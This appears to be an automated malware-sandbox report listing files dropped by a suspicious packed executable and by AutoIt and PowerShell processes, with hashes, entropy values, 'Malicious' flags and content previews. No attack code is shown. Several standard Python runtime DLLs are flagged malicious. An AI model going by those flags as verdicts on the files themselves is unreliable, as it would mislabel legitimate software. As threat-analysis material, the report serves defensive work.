importlib_metadata-8.0.0.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4..importlib_metadata-8.0.0.dist-info/LICENSE,sha256=z8d0m5b2O9McPEK1xHG_dWgUBT6EfBDz6wA0F7xSPTA,11358..importlib_metadata-8.0.0.dist-info/METADATA,sha256=anuQ7_7h4J1bSEzfcjIBakPi2cyVQ7y7jklLHsBeH1k,4648..importlib_metadata-8.0.0.dist-info/RECORD,,..importlib_metadata-8.0.0.dist-info/REQUESTED,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0..importlib_metadata-8.0.0.dist-info/WHEEL,sha256=mguMlWGMX-VHnMpKOjjQidIo1ssRlCFu4a4mBpz1s2M,91..importlib_metadata-8.0.0.dist-info/top_level.txt,sha256=CO3fD9yylANiXkrMo4qHLV_mqXL2sC5JFKgt1yWAT-A,19..importlib_metadata/__init__.py,sha256=tZNB-23h8Bixi9uCrQqj9Yf0aeC--Josdy3IZRIQeB0,33798..importlib_metadata/__pycache__/__init__.cpython-312.pyc,,..importlib_metadata/__pycache__/_adapters.cpython-312.pyc,,..importlib_metadata/__pycache__/_collections.cpython-312.pyc,,..importlib_metadata/__pycache__/_compat.cpython-312.pyc,,..importlib_metadata/__pycac

C:\Users\user\AppData\Local\Temp\_MEI58162\setuptools\_vendor\importlib_metadata-8.0.0.dist-info\WHEEL

Download File

Process:	C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	91
Entropy (8bit):	4.687870576189661
Encrypted:	false
SSDEEP:	3:RtEeXMRYFAVLMvhRRP+tPCCfA5S:RtC1VLMvhjWBBf
MD5:	7D09837492494019EA51F4E97823D79F
SHA1:	7829B4324BB542799494131A270EC3BDAD4DEDEF
SHA-256:	9A0B8C95618C5FE5479CCA4A3A38D089D228D6CB1194216EE1AE26069CF5B363
SHA-512:	A0063220ECDD22C3E735ACFF6DE559ACF3AC4C37B81D37633975A22A28B026F1935CD1957C0FF7D2ECC8B7F83F250310795EECC5273B893FFAB115098F7B9C38
Malicious:	false
Reputation:	unknown
Preview:	Wheel-Version: 1.0.Generator: setuptools (70.1.1).Root-Is-Purelib: true.Tag: py3-none-any..

C:\Users\user\AppData\Local\Temp\_MEI58162\setuptools\_vendor\importlib_metadata-8.0.0.dist-info\top_level.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	19
Entropy (8bit):	3.536886723742169
Encrypted:	false
SSDEEP:	3:JSej0EBERG:50o4G
MD5:	A24465F7850BA59507BF86D89165525C
SHA1:	4E61F9264DE74783B5924249BCFE1B06F178B9AD
SHA-256:	08EDDF0FDCB29403625E4ACCA38A872D5FE6A972F6B02E4914A82DD725804FE0
SHA-512:	ECF1F6B777970F5257BDDD353305447083008CEBD8E5A27C3D1DA9C7BDC3F9BF3ABD6881265906D6D5E11992653185C04A522F4DB5655FF75EEDB766F93D5D48
Malicious:	false
Reputation:	unknown
Preview:	importlib_metadata.

C:\Users\user\AppData\Local\Temp\_MEI58162\setuptools\_vendor\jaraco\text\Lorem ipsum.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe
File Type:	ASCII text, with very long lines (888)
Category:	dropped
Size (bytes):	1335
Entropy (8bit):	4.226823573023539
Encrypted:	false
SSDEEP:	24:FP6Hbz+g9RPZ14bJi04L6GEbX4UQF4UkZQhxI2EIhNyu:9E+i6bJmLm43+Uxxnh0u
MD5:	4CE7501F6608F6CE4011D627979E1AE4
SHA1:	78363672264D9CD3F72D5C1D3665E1657B1A5071
SHA-256:	37FEDCFFBF73C4EB9F058F47677CB33203A436FF9390E4D38A8E01C9DAD28E0B
SHA-512:	A4CDF92725E1D740758DA4DD28DF5D1131F70CEF46946B173FE6956CC0341F019D7C4FECC3C9605F354E1308858721DADA825B4C19F59C5AD1CE01AB84C46B24
Malicious:	false
Reputation:	unknown
Preview:	Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum..Curabitur pretium tincidunt lacus. Nulla gravida orci a odio. Nullam varius, turpis et commodo pharetra, est eros bibendum elit, nec luctus magna felis sollicitudin mauris. Integer in mauris eu nibh euismod gravida. Duis ac tellus et risus vulputate vehicula. Donec lobortis risus a elit. Etiam tempor. Ut ullamcorper, ligula eu tempor congue, eros est euismod turpis, id tincidunt sapien risus a quam. Maecenas fermentum consequat mi. Donec fermentum. Pellentesque malesuada nulla a mi. Duis sapien sem, aliquet nec, commodo eget, consequat quis, neque.

C:\Users\user\AppData\Local\Temp\_MEI58162\setuptools\_vendor\wheel-0.43.0.dist-info\INSTALLER

Download File

Process:	C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Mn:M
MD5:	365C9BFEB7D89244F2CE01C1DE44CB85
SHA1:	D7A03141D5D6B1E88B6B59EF08B6681DF212C599
SHA-256:	CEEBAE7B8927A3227E5303CF5E0F1F7B34BB542AD7250AC03FBCDE36EC2F1508
SHA-512:	D220D322A4053D84130567D626A9F7BB2FB8F0B854DA1621F001826DC61B0ED6D3F91793627E6F0AC2AC27AEA2B986B6A7A63427F05FE004D8A2ADFBDADC13C1
Malicious:	false
Reputation:	unknown
Preview:	pip.

C:\Users\user\AppData\Local\Temp\_MEI58162\setuptools\_vendor\wheel-0.43.0.dist-info\LICENSE.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1107
Entropy (8bit):	5.115074330424529
Encrypted:	false
SSDEEP:	24:PWmrRONJHLH0cPP3gtkHw1h39QHOsUv4eOk4/+jvho3nPz:ttONJbbvE/NQHOs5eNS3n7
MD5:	7FFB0DB04527CFE380E4F2726BD05EBF
SHA1:	5B39C45A91A556E5F1599604F1799E4027FA0E60
SHA-256:	30C23618679108F3E8EA1D2A658C7CA417BDFC891C98EF1A89FA4FF0C9828654
SHA-512:	205F284F3A7E8E696C70ED7B856EE98C1671C68893F0952EEC40915A383BC452B99899BDC401F9FE161A1BF9B6E2CEA3BCD90615EEE9173301657A2CE4BAFE14
Malicious:	false
Reputation:	unknown
Preview:	MIT License..Copyright (c) 2012 Daniel Holth <dholth@fastmail.fm> and contributors..Permission is hereby granted, free of charge, to any person obtaining a.copy of this software and associated documentation files (the "Software"),.to deal in the Software without restriction, including without limitation.the rights to use, copy, modify, merge, publish, distribute, sublicense,.and/or sell copies of the Software, and to permit persons to whom the.Software is furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included.in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL.THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR.OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERW

C:\Users\user\AppData\Local\Temp\_MEI58162\setuptools\_vendor\wheel-0.43.0.dist-info\METADATA

Download File

Process:	C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	2153
Entropy (8bit):	5.088249746074878
Encrypted:	false
SSDEEP:	48:DEhpFu5MktjaywDK48d+md+7uT8RfkD1UKd+mOl1Awry:DEhpiMktjayq/7kOfsUzmbYy
MD5:	EBEA27DA14E3F453119DC72D84343E8C
SHA1:	7CEB6DBE498B69ABF4087637C6F500742FF7E2B4
SHA-256:	59BAC22B00A59D3E5608A56B8CF8EFC43831A36B72792EE4389C9CD4669C7841
SHA-512:	A41593939B9325D40CB67FD3F41CD1C9E9978F162487FB469094C41440B5F48016B9A66BE2E6E4A0406D6EEDB25CE4F5A860BA1E3DC924B81F63CEEE3AE31117
Malicious:	false
Reputation:	unknown
Preview:	Metadata-Version: 2.1.Name: wheel.Version: 0.43.0.Summary: A built-package format for Python.Keywords: wheel,packaging.Author-email: Daniel Holth <dholth@fastmail.fm>.Maintainer-email: Alex Gr.nholm <alex.gronholm@nextday.fi>.Requires-Python: >=3.8.Description-Content-Type: text/x-rst.Classifier: Development Status :: 5 - Production/Stable.Classifier: Intended Audience :: Developers.Classifier: Topic :: System :: Archiving :: Packaging.Classifier: License :: OSI Approved :: MIT License.Classifier: Programming Language :: Python.Classifier: Programming Language :: Python :: 3 :: Only.Classifier: Programming Language :: Python :: 3.8.Classifier: Programming Language :: Python :: 3.9.Classifier: Programming Language :: Python :: 3.10.Classifier: Programming Language :: Python :: 3.11.Classifier: Programming Language :: Python :: 3.12.Requires-Dist: pytest >= 6.0.0 ; extra == "test".Requires-Dist: setuptools >= 65 ; extra == "test".Project-URL: Changelog, https://wheel.readthedocs.io/en/s

C:\Users\user\AppData\Local\Temp\_MEI58162\setuptools\_vendor\wheel-0.43.0.dist-info\RECORD

Download File

Process:	C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	4557
Entropy (8bit):	5.714200636114494
Encrypted:	false
SSDEEP:	96:QXVuEmegx01TQIvFCiq9H/H7vp88FxTXiJPkGJP4CWweXQHmnDpMI78IegK5EeZR:QXVxAbYkU4CWweXQHmnDpMeV2BvTRqQF
MD5:	44D352C4997560C7BFB82D9360F5985A
SHA1:	BE58C7B8AB32790384E4E4F20865C4A88414B67A
SHA-256:	783E654742611AF88CD9F00BF01A431A219DB536556E63FF981C7BD673070AC9
SHA-512:	281B1D939A560E6A08D0606E5E8CE15F086B4B45738AB41ED6B5821968DC8D764CD6B25DB6BA562A07018C271ABF17A6BC5A380FAD05696ADF1D11EE2C5749C8
Malicious:	false
Reputation:	unknown
Preview:	../../bin/wheel,sha256=cT2EHbrv-J-UyUXu26cDY-0I7RgcruysJeHFanT1Xfo,249..wheel-0.43.0.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4..wheel-0.43.0.dist-info/LICENSE.txt,sha256=MMI2GGeRCPPo6h0qZYx8pBe9_IkcmO8aifpP8MmChlQ,1107..wheel-0.43.0.dist-info/METADATA,sha256=WbrCKwClnT5WCKVrjPjvxDgxo2tyeS7kOJyc1GaceEE,2153..wheel-0.43.0.dist-info/RECORD,,..wheel-0.43.0.dist-info/REQUESTED,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0..wheel-0.43.0.dist-info/WHEEL,sha256=EZbGkh7Ie4PoZfRQ8I0ZuP9VklN_TvcZ6DSE5Uar4z4,81..wheel-0.43.0.dist-info/entry_points.txt,sha256=rTY1BbkPHhkGMm4Q3F0pIzJBzW2kMxoG1oriffvGdA0,104..wheel/__init__.py,sha256=D6jhH00eMzbgrXGAeOwVfD5i-lCAMMycuG1L0useDlo,59..wheel/__main__.py,sha256=NkMUnuTCGcOkgY0IBLgBCVC_BGGcWORx2K8jYGS12UE,455..wheel/__pycache__/__init__.cpython-312.pyc,,..wheel/__pycache__/__main__.cpython-312.pyc,,..wheel/__pycache__/_setuptools_logging.cpython-312.pyc,,..wheel/__pycache__/bdist_wheel.cpython-312.pyc,,..wheel/__pycache

C:\Users\user\AppData\Local\Temp\_MEI58162\setuptools\_vendor\wheel-0.43.0.dist-info\WHEEL

Download File

Process:	C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.672346887071811
Encrypted:	false
SSDEEP:	3:RtEeX/QFM+vxP+tPCCfA5I:Rt1Qq2WBB3
MD5:	24019423EA7C0C2DF41C8272A3791E7B
SHA1:	AAE9ECFB44813B68CA525BA7FA0D988615399C86
SHA-256:	1196C6921EC87B83E865F450F08D19B8FF5592537F4EF719E83484E546ABE33E
SHA-512:	09AB8E4DAA9193CFDEE6CF98CCAE9DB0601F3DCD4944D07BF3AE6FA5BCB9DC0DCAFD369DE9A650A38D1B46C758DB0721EBA884446A8A5AD82BB745FD5DB5F9B1
Malicious:	false
Reputation:	unknown
Preview:	Wheel-Version: 1.0.Generator: flit 3.9.0.Root-Is-Purelib: true.Tag: py3-none-any.

C:\Users\user\AppData\Local\Temp\_MEI58162\setuptools\_vendor\wheel-0.43.0.dist-info\entry_points.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	104
Entropy (8bit):	4.271713330022269
Encrypted:	false
SSDEEP:	3:1SSAnAYgh+MWTMhk6WjrAM5t5ln:1Jb9WTMhk9jUM5t5ln
MD5:	6180E17C30BAE5B30DB371793FCE0085
SHA1:	E3A12C421562A77D90A13D8539A3A0F4D3228359
SHA-256:	AD363505B90F1E1906326E10DC5D29233241CD6DA4331A06D68AE27DFBC6740D
SHA-512:	69EAE7B1E181D7BA1D3E2864D31E1320625A375E76D3B2FBF8856B3B6515936ACE3138D4D442CABDE7576FCFBCBB0DEED054D90B95CFA1C99829DB12A9031E26
Malicious:	false
Reputation:	unknown
Preview:	[console_scripts].wheel=wheel.cli:main..[distutils.commands].bdist_wheel=wheel.bdist_wheel:bdist_wheel..

C:\Users\user\AppData\Local\Temp\_MEI58162\sqlite3.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1445800
Entropy (8bit):	6.579172773828651
Encrypted:	false
SSDEEP:	24576:tU3g/eNVQHzcayG7b99ZSYR4eXj98nXMuVp+qbLKeq98srCIS:ck3hbEAp8X9Vp+2q2gI
MD5:	926DC90BD9FAF4EFE1700564AA2A1700
SHA1:	763E5AF4BE07444395C2AB11550C70EE59284E6D
SHA-256:	50825EA8B431D86EC228D9FA6B643E2C70044C709F5D9471D779BE63FF18BCD0
SHA-512:	A8703FF97243AA3BC877F71C0514B47677B48834A0F2FEE54E203C0889A79CE37C648243DBFE2EE9E1573B3CA4D49C334E9BFE62541653125861A5398E2FE556
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........\|{.............e.......g.......g.......g.......g......Po...............g.......g.......g.....g......Rich............PE..d....L.b.........." ... ..................................................... .......`....`..............................................!...................0...........)......\|...Pg..T............................f..@............ ..(............................text............................... ..`.rdata..D.... ......................@..@.data...0A.......8..................@....pdata.......0......................@..@.rsrc...............................@..@.reloc..\|...........................@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI58162\unicodedata.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1121192
Entropy (8bit):	5.384501252071814
Encrypted:	false
SSDEEP:	12288:bMYYMmuZ63NoQCb5Pfhnzr0ql8L8koM7IRG5eeme6VZyrIBHdQLhfFE+uz9O:AYYuXZV0m8wMMREtV6Vo4uYz9O
MD5:	102BBBB1F33CE7C007AAC08FE0A1A97E
SHA1:	9A8601BEA3E7D4C2FA6394611611CDA4FC76E219
SHA-256:	2CF6C5DEA30BB0584991B2065C052C22D258B6E15384447DCEA193FDCAC5F758
SHA-512:	A07731F314E73F7A9EA73576A89CCB8A0E55E53F9B5B82F53121B97B1814D905B17A2DA9BD2EDA9F9354FC3F15E3DEA7A613D7C9BC98C36BBA653743B24DFC32
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........(..F...F...F......F..G...F..C...F..B...F..E...F...G...F.C.G...F...G...F...K...F...F...F.......F...D...F.Rich..F.........................PE..d....K.b.........." ... .B...........*.......................................@......Y.....`.............................................X...(........ ...................)...0......@b..T............................a..@............`..x............................text....A.......B.................. ..`.rdata......`.......F..............@..@.data...............................@....pdata..............................@..@.rsrc........ ......................@..@.reloc.......0......................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI58162\win32\_win32sysloader.cp310-win_amd64.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	4.922363545317259
Encrypted:	false
SSDEEP:	192:i+LZ/rJjFTo6VB8rEn/sDWBPKLNmZRsYnGcyLtjNXG:ievLVL/sqBd+lFlG
MD5:	5BDD23970D9AEBCA8838C0562336A1CF
SHA1:	B256A34C95A5CB99DBC880F522266E59E71BB701
SHA-256:	12434F2FE3EF83859DE5E74B0C51407770FFCD4A9219044532804B32E38308FD
SHA-512:	15E29261C6676ABBACE771BAF248F06A2319CA721046F6788EE5E331C51A75CBE44B2A24F15EC32F0A371D525AA40E439BF0074E5D68D4657BF038114379E7B0
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........D...D...D...M.".F....!..F...7...F....!..E....!..N....!..L.......G...D...`....!..E....!..E....!..E...RichD...........................PE..d......a.........." ......................................................................`..........................................7..p...@8..d....p.......P..................0....2..T...........................p2...............0..@............................text............................... ..`.rdata..J....0......................@..@.data........@.......$..............@....pdata.......P.......&..............@..@.gfids.......`.......(..............@..@.rsrc........p.......*..............@..@.reloc..0...........................@..B................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI58162\win32\win32api.cp310-win_amd64.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	134656
Entropy (8bit):	5.84231912519238
Encrypted:	false
SSDEEP:	3072:UTqjiGbjKyRYDoe/hnLbAZ4l39KxN36w/Ii/MVjmzuQrEZ5nOmdZsQ/:DKyRCoe/joxNqw/v/MVjOu7VOI
MD5:	EC7C48EA92D9FF0C32C6D87EE8358BD0
SHA1:	A67A417FDB36C84871D0E61BFB1015CB30C9898A
SHA-256:	A0F3CC0E98BEA5A598E0D4367272E4C65BF446F21932DC2A051546B098D6CE62
SHA-512:	C06E3C0260B918509947A89518D55F0CB03CB19FC28D9E7ED9E3F837D71DF31154F0093929446A93A7C7DA1293FFD0CC69547E2540F15E3055FE1D12D837F935
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........A$. J.. J.. J..X.. J..~K.. J..~I.. J..~N.. J.&~K.. J..IK.. J..~O.. J..BK.. J.. K..!J.&~O.. J.&~J.. J.&~H.. J.Rich. J.........................PE..d......a.........." .........................................................`............`.........................................`................@.......................P.......~..T...........................P}............... .........@....................text............................... ..`.rdata..r.... ......................@..@.data....#......."..................@....pdata..............................@..@.gfids..4....0......................@..@.rsrc........@......................@..@.reloc.......P......................@..B........................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI58162\win32\win32trace.cp310-win_amd64.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	22528
Entropy (8bit):	5.158789189249445
Encrypted:	false
SSDEEP:	384:6urA4fVFfFRGFV8fuL0G0T84Q9NNNIRV0KlnOjUgx908x8J:F7XsF9NNNIR2Eny908x8
MD5:	E726734D5D2E42CF0861D24BCF741B09
SHA1:	6AF8A994AD84259F7CF2A8F452B55AE44264BCC6
SHA-256:	3592ABD55C972C9DFE2BAC104FBE3E1B4D1E392A3D29D7C5DB3745A624FA6FF4
SHA-512:	2B60EDD06124C8F053D4573328697A9AF4D6EB077DCDBF833BA3E6DB574A7C32ABF1C72530C43CCBDE313A59066393DADAF2AAE8A7CC3FDB156ADD894D898542
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..................."..........................................................................Rich............PE..d...~..a.........." .....&.......... (....................................................`.........................................pP..d....P...............p..`...............x....H..T...........................0I...............@...............................text....%.......&.................. ..`.rdata..\|....@.......*..............@..@.data........`.......F..............@....pdata..`....p.......L..............@..@.gfids...............P..............@..@.rsrc................R..............@..@.reloc..x............V..............@..B........................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0wvcvvic.xr0.ps1

Download File

Process:	C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0zsfczhx.1h1.ps1

Download File

Process:	C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1tj0vkzf.iki.ps1

Download File

Process:	C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2kzottsy.235.ps1

Download File

Process:	C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_30yvmtu2.aku.psm1

Download File

Process:	C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3iknguco.ocz.psm1

Download File

Process:	C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_52m2pnwa.2ud.psm1

Download File

Process:	C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5doeixsn.sw0.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5f0lm3y0.cuh.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5gc5f3hz.zrr.psm1

Download File

Process:	C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
